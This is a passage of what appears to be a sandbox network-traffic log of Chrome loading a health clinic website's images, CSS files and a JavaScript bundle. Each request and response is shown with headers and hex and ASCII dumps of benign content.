_ga_9LSM884DML=GS1.1.1713962665.1.1.1713962715.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:45:26 UTC	328	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:26 GMT Content-Type: image/jpeg Content-Length: 221017 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:54 GMT ETag: "64f5a13a-35f59" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:26 UTC	16056	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 02 c8 06 00 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 01 05 01 01 01 01 00 00 00 00 00 00 00 00 00 04 01 02 03 05 06 07 00 08 09 ff c4 00 4e 10 00 02 01 03 03 02 04 04 03 05 05 06 05 02 01 0d 01 02 03 00 04 11 05 12 21 06 31 13 41 51 61 07 14 22 71 32 81 91 15 23 42 a1 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$N!1AQa"q2#B
2024-04-24 12:45:26 UTC	16384	IN	Data Raw: b5 47 a4 9b e5 6f a2 70 78 35 ce 78 9a c9 63 a5 71 a3 48 da 93 4c aa c1 b8 c5 6d 5a 58 4a 3b a6 64 f6 d2 23 7b f0 91 34 c1 c0 2a 2b 93 1c 6e 32 74 cc ae f7 80 19 8d cc e2 55 6c 7a e7 ce b6 e1 55 25 65 d1 64 b2 dd 27 86 d1 9e fd b3 5d 67 a6 8c b9 2f 70 be 40 20 4b 2b 64 60 c0 12 79 c9 ac b9 b4 f1 85 24 24 e3 40 53 5c 49 3d c4 30 c6 48 05 bb 0e d8 a5 cb 1a 86 d0 cf 84 56 6b 9a 6a 5a b9 9a e1 c6 7b 85 cd 66 c7 82 71 8d 23 23 c3 bb 94 50 dc 75 3a 22 20 b2 f1 16 55 6f 2e 2a ec 5a 29 29 5c ca 1f d3 1c ba 85 d7 58 5e 24 52 34 8c d1 00 31 9e 05 5d 28 4b 17 2d dd 91 24 ba 36 56 37 e7 a7 ef ed 16 34 fa 14 6d 73 f7 aa 13 78 e5 bc 79 72 87 5c de 25 f6 bf 3b 48 06 e2 37 a7 a9 aa 71 cb 7c de 44 24 23 c1 63 6f 24 57 f6 32 35 cc 62 32 99 c6 e1 5a 5d 4a 2e c7 8c 3e 8a 2b Data Ascii: Gopx5xcqHLmZXJ;d#{4+n2tUlzU%ed']g/p@ K+d`y$$@S\I=0HVkjZ{fq##Pu:" Uo.Z))\X^$R41](K-$6V74msxyr\%;H7q\|D$#co$W25b2Z]J.>+
2024-04-24 12:45:26 UTC	16384	IN	Data Raw: d2 ee 0d 78 f4 9e 07 80 58 91 86 03 b9 35 6c 32 bc 6c bb 14 9e 29 38 b0 07 bf bb b9 be 5d 42 3b 64 d9 26 49 53 9e 33 51 4b 77 2c d9 82 57 27 c1 45 d4 7d 43 6d 7b 65 3a 34 4d 14 e1 c8 0c 3b 1e 7b d2 af 94 a8 4c f9 a1 28 35 e4 b0 e8 f9 f4 fb 9b 45 83 53 25 cb 0c 06 23 35 57 b7 05 3b 68 1a 59 46 4a 9f 65 6c d2 af 4c 75 1c a9 60 0c b0 4a 46 01 3c 03 4e da 97 5e 0a b3 e3 4b 25 23 af 58 68 91 5d 68 b1 4f 12 f8 73 ed 0c 71 e6 6b 7c 30 a7 8e d7 66 c7 14 a9 18 5d 7b a8 75 6d 0e ed 63 86 0f e2 da 47 7d c0 77 ac 2a 53 de d3 e0 aa 76 a5 c2 35 b6 4f a7 f5 5e 89 28 b5 91 45 c8 43 b9 41 e5 4d 6c 8e 28 64 83 4b b2 da ff 00 b1 9e f8 7b d5 cb a6 5f 5c 74 de a5 19 8e 4f 10 aa b9 ec f4 fa 79 2c 6b 6b 02 76 f6 79 46 d3 4d e9 4b 4b 0b e9 ae c2 2e 24 6d c0 e3 d6 ad c7 a6 4a 5b Data Ascii: xX5l2l)8]B;d&IS3QKw,W'E}Cm{e:4M;{L(5ES%#5W;hYFJelLu`JF<N^K%#Xh]hOsqk\|0f]{umcG}w*Sv5O^(ECAMl(dK{_\tOy,kkvyFMKK.$mJ[
2024-04-24 12:45:26 UTC	16384	IN	Data Raw: 28 15 c1 f5 07 79 4f 53 e9 8a b0 22 84 82 4f 7a c2 74 47 a0 20 62 a1 05 10 ef 6a 80 b2 58 ed 32 c4 9a 80 72 34 fd 21 6c 23 f1 1f de b4 e9 97 27 37 5f 2e 12 39 ad e0 92 e0 e7 34 76 a4 74 d3 20 82 27 53 82 b9 a8 c6 4c 1a f2 22 d9 fa 0f e9 45 06 c1 ed b4 d9 59 c3 aa d4 94 92 0a 65 fc 4d 71 6b 00 dc 8c 45 63 94 53 64 03 bb d3 af af 97 72 2b 6d 34 f1 71 88 77 24 55 b6 87 a8 42 d9 fa 85 5d ee 45 93 75 93 d9 e9 d7 4c fb 24 2d cd 24 a4 bc 12 cb 4f f7 39 6e c0 67 5e f5 57 bc d7 42 3c 88 d1 69 bd 18 96 d1 06 4e 0e 2a a9 c9 cb b2 99 6a 12 e0 75 ce 88 d1 1c e0 91 55 d5 0c b2 a6 1f a5 5d 8b 52 10 8c 01 41 22 bc b1 dc 8b c1 aa c6 e3 00 8a 96 64 f6 19 0d dd cc 52 21 04 f7 14 92 2c c7 06 98 27 4d 5b aa 6a 6e 40 fc 5c d6 cd 07 e4 53 ea 3f 81 a9 bc b7 8f e6 a3 25 47 7a eb Data Ascii: (yOS"OztG bjX2r4!l#'7_.94vt 'SL"EYeMqkEcSdr+m4qw$UB]EuL$-$O9ng^WB<iN*juU]RA"dR!,'M[jn@\S?%Gz
2024-04-24 12:45:26 UTC	16384	IN	Data Raw: db 23 ca 8f bd 11 7f 8b 32 78 ba 5a e2 da 42 9e 1b 23 37 91 14 cb 2a 62 3d 3b e8 f1 e9 0b 8b 88 88 f0 5b 3d bb 53 7b a8 5f e3 b2 96 f3 a7 2e a0 76 62 ad 9e 57 b7 a5 32 c9 65 6f 1b 40 2b 65 77 04 e2 e3 c3 70 41 ef 8f 6a 6d d6 26 d2 73 7b 75 03 ee 1b c6 d5 c7 f4 ff 00 4a 14 31 1b 6b 73 25 8f cb ee 38 2f 9c 7b 51 51 e4 56 cb be 99 d5 e7 37 3e 27 8a 47 f0 82 4f e1 14 ad 51 11 d8 fa 2f 54 f9 96 92 0b 59 65 40 53 eb 28 4a f1 59 75 2a 2e 3c 97 41 d3 34 91 df fc b8 78 da ea 62 fe 5f 5b 71 e9 5e 77 53 07 ba d3 2d 6d b2 83 55 bf d6 f4 79 56 ec 5c dc 18 b3 f8 59 ce 0d 5d 89 43 34 7d b6 f9 19 cb 80 de 9a d6 b5 1d 6b 54 b7 92 4b 99 63 4d d8 d8 24 38 35 a7 16 05 89 6d ec aa 52 67 d2 76 00 2d ac 7f f2 8a ef 61 49 44 e7 cf 96 10 c7 e9 27 da ae 93 f8 32 bf 27 c6 7d 59 ad Data Ascii: #2xZB#7b=;[=S{_.vbW2eo@+ewpAjm&s{uJ1ks%8/{QQV7>'GOQ/TYe@S(JYu.<A4xb_[q^wS-mUyV\Y]C4}kTKcM$85mRgv-aID'2'}Y
2024-04-24 12:45:27 UTC	16384	IN	Data Raw: e2 85 0d 60 57 c9 80 68 31 e0 ca c7 07 26 94 b5 01 5c 71 28 cf ad 3e 3f c8 ab 50 ae 0c 0b a9 a1 32 69 ac 47 3c 1a eb 41 9e 56 6b 92 8f 40 b1 b9 d4 2d 96 3b 58 24 9a 4c 76 45 24 d3 66 e8 6c 4b 93 2d f1 0b 4d be d2 35 14 6b eb 39 ed c4 c8 14 34 88 57 38 fb d6 1c 6b b4 74 66 ed 5a 2c be 13 2a 4f d4 76 aa f9 db 1f 38 ff 00 3a 5c fd 0f 85 f0 7d 1b 34 5e 2b 24 64 82 00 ac 2c 64 eb 93 11 d6 9a c7 fc 53 5b a9 1e 1c 63 19 15 54 ad 9b 34 f0 e2 ce 75 ad 75 b2 da a9 b7 8a 55 82 15 1f 5c 87 96 6f 60 2a ec 78 1c b9 2e 94 e3 0e 59 49 2f 54 6a 70 d8 2d fd ae 9e 8d 03 b6 d5 9a e9 8b 13 ef 8a dd 8f 4c bc b3 9f 9f 59 25 f8 a1 9a 47 50 6b 5a ed ca c2 1f 4d 3b 99 54 6d 52 99 dd d8 8c 55 ef 49 07 e4 cb 1d 7e 45 da 2e f5 29 75 2d 02 e3 e5 b5 28 a5 81 bf bb 2f d4 8d f6 6f f5 ac Data Ascii: `Wh1&\q(>?P2iG<AVk@-;X$LvE$flK-M5k94W8ktfZ,Ov8:\}4^+$d,dS[cT4uuU\o`x.YI/Tjp-LY%GPkZM;TmRUI~E.)u-(/o
2024-04-24 12:45:27 UTC	16384	IN	Data Raw: ea 1d 45 24 2d 17 82 15 9b 81 20 71 c7 bd 50 b1 c1 33 44 b2 4d aa 48 a0 87 41 d7 56 eb c7 1a bd f0 97 39 e6 43 8f d3 b5 5c dc 6a a8 cc b1 ce ef 71 a5 8b 4d bf 2a 92 5f 5d c9 3c 80 70 4f 95 57 37 c1 a7 19 73 a0 eb 86 d2 7f 96 77 c7 a6 7c ea 86 da e5 17 b8 ee e1 9a a4 d7 a3 52 3c 56 fa 69 b1 e5 77 c9 9f 26 9f 8e 0a ce a3 d4 ec ee d0 04 20 91 5a 65 34 fa 28 86 29 47 b3 91 75 f6 d9 04 63 d1 b3 56 61 74 65 d5 24 e9 1c ee fc 07 ee a4 10 7d 3c ab 4c 25 c9 93 2e 3f 88 20 50 7e 9c f6 ab 8c 8e 3e 0d 0f 4e 69 a6 f2 e4 2b 85 c2 ae ec b7 99 ff 00 e2 a8 cd 2a 46 9d 3c 1c 99 d4 ba 72 d4 47 7f 68 17 0b 1a 6d 73 23 ff 00 17 d4 06 31 e5 de b0 d7 96 74 ee b8 46 b6 69 ed 16 f2 56 63 23 26 72 9b 79 03 f2 f4 ac d9 17 25 b8 fa 06 f9 db 9d 4e 45 8e 29 02 a0 18 e3 cc e7 d2 ab 5f Data Ascii: E$- qP3DMHAV9C\jqM_]<pOW7sw\|R<Viw& Ze4()GucVate$}<L%.? P~>Ni+F<rGhms#1tFiVc#&ry%NE)_
2024-04-24 12:45:27 UTC	16384	IN	Data Raw: b5 ae a3 69 25 b5 dc 61 e1 95 76 b7 9d 2c a2 9a a6 34 64 d3 b4 72 4d 57 a1 07 46 d9 0b 78 64 69 f4 f6 76 2a e4 64 a6 4e 40 35 c6 d5 e0 70 96 e5 d1 de d1 6a 16 45 b7 c9 9e 86 20 93 72 39 5f 2a cd 19 d1 b9 a2 c3 e5 e2 64 c1 61 57 da 62 f2 8a db bd 1a de 6c 9d a3 34 cc 65 26 56 3f 4f 42 b9 3b 3f 95 2d b1 ed 14 da 86 86 9b b2 bb 54 0f 6a 2a 41 69 32 97 51 b7 8e ce 1f c4 0e 6a e8 bb 32 64 e0 cb de ca b2 37 d3 da ae 48 ca e4 36 d9 37 30 a7 15 b2 3e aa 6d ba 5a 46 38 0e e0 53 62 fc 8a 75 1f 8d 19 5d 3e 05 96 f6 30 c1 8a 6e 1b b0 33 8a d1 27 c1 8e 11 f9 1b 31 d3 56 d7 b7 50 c7 60 4d cc 92 60 06 65 c2 e2 b2 fb 8f c9 bb d9 4f f1 3b 8f 48 f4 ed bf 4d 69 4b 0a 46 a2 52 bf 59 1e 66 b3 4d b6 cd f8 e2 a2 a9 16 02 32 e7 32 1f b0 a0 58 49 f1 06 10 74 5b 77 de 42 f8 4a 70 Data Ascii: i%av,4drMWFxdivdN@5pjE r9_daWbl4e&V?OB;?-Tj*Ai2Qj2d7H670>mZF8Sbu]>0n3'1VP`M`eO;HMiKFRYfM22XIt[wBJp
2024-04-24 12:45:27 UTC	16384	IN	Data Raw: 51 00 d9 a5 1c 91 45 15 cd 90 07 dc 7d 6a c4 52 c2 a1 94 42 bb d8 e0 0e 4d 3f e8 46 eb 96 52 ea 17 46 ea e5 a5 e7 07 b0 f6 af 53 a3 c1 ec e3 4b c9 e6 f5 59 bd cc 8d 83 87 c6 0a 36 1b d0 8e 0d 6c 28 2f 74 3e af bf d1 a6 59 63 92 5b 69 07 66 cf 1f a8 a5 c9 0c 79 16 dc 88 7c 79 67 8d dc 19 d5 3a 67 e3 68 25 61 d7 a0 c2 76 f9 98 bc bd c8 ff 00 4a e1 6b 7d 16 31 8b 9e 17 ff 00 07 67 4b ea ad bd b9 11 43 d7 ff 00 17 ee 75 11 2d 9e 8a cd 0d a0 ca 99 3b 3c bf e8 2b 8f 8f 4d cf c8 dd 9b 59 4b e0 73 ce 84 ea 59 b4 1e bb d3 2f e7 62 51 a6 09 29 f2 08 df 4b 1f e7 5a 32 e2 4e 0d 23 1e 0c cf dc 4d 9f 45 5f e9 cc 75 07 8f 7f d0 c7 2b 5c 86 cf 45 19 71 60 33 ac 5a 2b 34 d3 c6 76 f9 b8 19 c5 2c 7b 24 ae 41 7a 77 56 e8 57 f9 8a 0b f8 5e 41 dd 33 f5 0a bf 69 4e c7 74 13 3f Data Ascii: QE}jRBM?FRFSKY6l(/t>Yc[ify\|yg:gh%avJk}1gKCu-;<+MYKsY/bQ)KZ2N#ME_u+\Eq`3Z+4v,{$AzwVW^A3iNt?
2024-04-24 12:45:27 UTC	16384	IN	Data Raw: 8f 67 2a 93 e8 c5 ad c1 ef 62 71 5d f8 2a 75 d9 8d ee 9c 4f 9c 67 9a f7 7a 29 25 3e 3a 67 82 f5 18 49 e3 e7 b4 05 a1 ea 8e d7 90 db 72 49 fa 40 f5 ab f5 98 92 83 91 57 a6 66 72 9a 81 65 f1 0f 5d fd 83 a3 0d 3e d5 81 b8 94 ed 18 fe 27 3d cf d8 7f 95 79 cc 70 96 a7 2a 8f ff 00 ed 1f 4c d0 43 1f a7 e9 65 ab c9 e3 ff 00 66 4b a3 b4 af 0d 94 c8 1b 27 be 3b b1 af 4f 96 b1 63 50 89 f3 7c b9 e7 aa d4 4b 34 dd db 3a 4a cb 16 9d 00 85 00 f1 9b 19 55 fe 1a e3 34 e6 ec e9 46 a0 a9 76 13 d3 11 c7 05 dd ea 36 16 47 22 4c 7a 83 5c 5f 51 82 53 bf b3 b5 a2 93 96 3a fa 2f 64 b5 8a 46 dc 40 3f 7a e7 d2 36 db 2b 35 16 89 01 1c 7a 71 49 28 96 c1 b3 39 2c 40 39 03 cc d2 b4 58 34 da 8c 67 14 54 45 dc 49 0d a3 9e 55 49 1e b4 69 04 1a fe 06 86 16 96 47 0a 14 66 8e 3c 4f 24 d4 23 Data Ascii: gbq]uOgz)%>:gIrI@Wfre]>'=yp*LCefK';OcP\|K4:JU4Fv6G"Lz\_QS:/dF@?z6+5zqI(9,@9X4gTEIUIiGf<O$#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.4	50195	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:26 UTC	776	OUT	GET /wp-content/themes/vpchc/dist/acf_block_full_width_hero.css?ver=230904-91940 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/services Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962725.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:45:27 UTC	414	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:27 GMT Content-Type: text/css Content-Length: 2466 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:40 GMT Vary: Accept-Encoding ETag: "64f5a12c-9a2" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:27 UTC	2466	IN	Data Raw: 2e 61 63 66 2d 62 6c 6f 63 6b 2d 66 75 6c 6c 2d 77 69 64 74 68 2d 68 65 72 6f 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 35 2e 36 32 35 72 65 6d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 61 63 66 2d 62 6c 6f 63 6b 2d 66 75 6c 6c 2d 77 69 64 74 68 2d 68 65 72 6f 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 37 2e 36 35 36 32 35 72 65 6d 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 61 63 66 2d 62 6c 6f 63 6b 2d 66 75 6c 6c 2d 77 69 64 74 68 2d 68 65 72 6f 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 39 2e 36 38 37 35 72 65 6d 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e Data Ascii: .acf-block-full-width-hero{border-bottom-right-radius:5.625rem}@media (min-width:576px){.acf-block-full-width-hero{border-bottom-right-radius:7.65625rem}}@media (min-width:768px){.acf-block-full-width-hero{border-bottom-right-radius:9.6875rem}}@media (min

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.4	50198	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:27 UTC	777	OUT	GET /wp-content/themes/vpchc/dist/acf_block_tab_with_content.css?ver=230904-91943 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/services Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962725.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:45:27 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:27 GMT Content-Type: text/css Content-Length: 4985 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:43 GMT Vary: Accept-Encoding ETag: "64f5a12f-1379" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:27 UTC	4985	IN	Data Raw: 2e 61 63 66 2d 62 6c 6f 63 6b 2d 74 61 62 2d 77 69 74 68 2d 63 6f 6e 74 65 6e 74 20 2e 74 61 62 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 6e 61 76 2d 6c 69 6e 6b 5f 5f 74 65 78 74 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 30 64 65 67 2c 63 75 72 72 65 6e 74 43 6f 6c 6f 72 20 31 70 78 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 30 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 30 20 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 2e 31 32 35 72 65 6d 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 2d Data Ascii: .acf-block-tab-with-content .tab-navigation .nav-link__text{text-decoration:none;background-image:linear-gradient(0deg,currentColor 1px,transparent 0);background-size:0 100%;background-repeat:no-repeat;padding-bottom:.125rem;-webkit-transition:background-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.4	50197	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:27 UTC	775	OUT	GET /wp-content/themes/vpchc/dist/acf_block_call_to_action.css?ver=230904-91935 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/services Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962725.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:45:28 UTC	414	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:27 GMT Content-Type: text/css Content-Length: 4036 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:35 GMT Vary: Accept-Encoding ETag: "64f5a127-fc4" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:28 UTC	4036	IN	Data Raw: 2e 63 61 6c 6c 2d 74 6f 2d 61 63 74 69 6f 6e 20 2e 66 6f 72 6d 2d 63 65 6e 74 65 72 20 66 6f 72 6d 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 69 6e 69 74 69 61 6c 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 39 31 2e 39 38 70 78 29 7b 2e 63 61 6c 6c 2d 74 6f 2d 61 63 74 69 6f 6e 20 2e 66 6f 72 6d 2d 63 65 6e 74 65 72 20 66 6f 72 6d 20 2e 67 66 6f 72 6d 5f 62 6f 64 79 7b 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 63 61 6c 6c 2d 74 6f 2d 61 63 74 69 6f 6e 2d 69 6d 61 67 65 20 69 6d 67 7b 77 69 64 74 68 3a 31 30 30 76 77 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 30 76 77 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 65 66 74 3a 35 30 Data Ascii: .call-to-action .form-center form{text-align:center;display:initial}@media (max-width:991.98px){.call-to-action .form-center form .gform_body{width:100%!important}}.call-to-action-image img{width:100vw;position:absolute;margin-left:-50vw!important;left:50

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.4	50201	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:27 UTC	769	OUT	GET /wp-content/themes/vpchc/dist/acf_block_tab_with_content.bundle.js?ver=230904-91943 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/services Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962725.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:45:28 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:28 GMT Content-Type: application/javascript Content-Length: 3658 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:43 GMT Vary: Accept-Encoding ETag: "64f5a12f-e4a" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:28 UTC	3658	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 72 2c 69 2c 61 3d 74 5b 30 5d 2c 6c 3d 74 5b 31 5d 2c 75 3d 74 5b 32 5d 2c 66 3d 30 2c 64 3d 5b 5d 3b 66 3c 61 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 69 3d 61 5b 66 5d 2c 6f 5b 69 5d 26 26 64 2e 70 75 73 68 28 6f 5b 69 5d 5b 30 5d 29 2c 6f 5b 69 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6c 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6c 2c 72 29 26 26 28 65 5b 72 5d 3d 6c 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 74 29 3b 64 2e 6c 65 6e 67 74 68 3b 29 64 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 63 2e 70 75 73 68 2e 61 70 70 6c 79 28 63 2c 75 7c 7c 5b 5d 29 2c 6e 28 29 7d 66 75 Data Ascii: !function(e){function t(t){for(var r,i,a=t[0],l=t[1],u=t[2],f=0,d=[];f<a.length;f++)i=a[f],o[i]&&d.push(o[i][0]),o[i]=0;for(r in l)Object.prototype.hasOwnProperty.call(l,r)&&(e[r]=l[r]);for(s&&s(t);d.length;)d.shift()();return c.push.apply(c,u\|\|[]),n()}fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.4	50204	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:27 UTC	552	OUT	GET /wp-content/uploads/2020/07/img__services-1536x712.jpg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962725.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:45:28 UTC	328	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:28 GMT Content-Type: image/jpeg Content-Length: 221017 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:54 GMT ETag: "64f5a13a-35f59" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
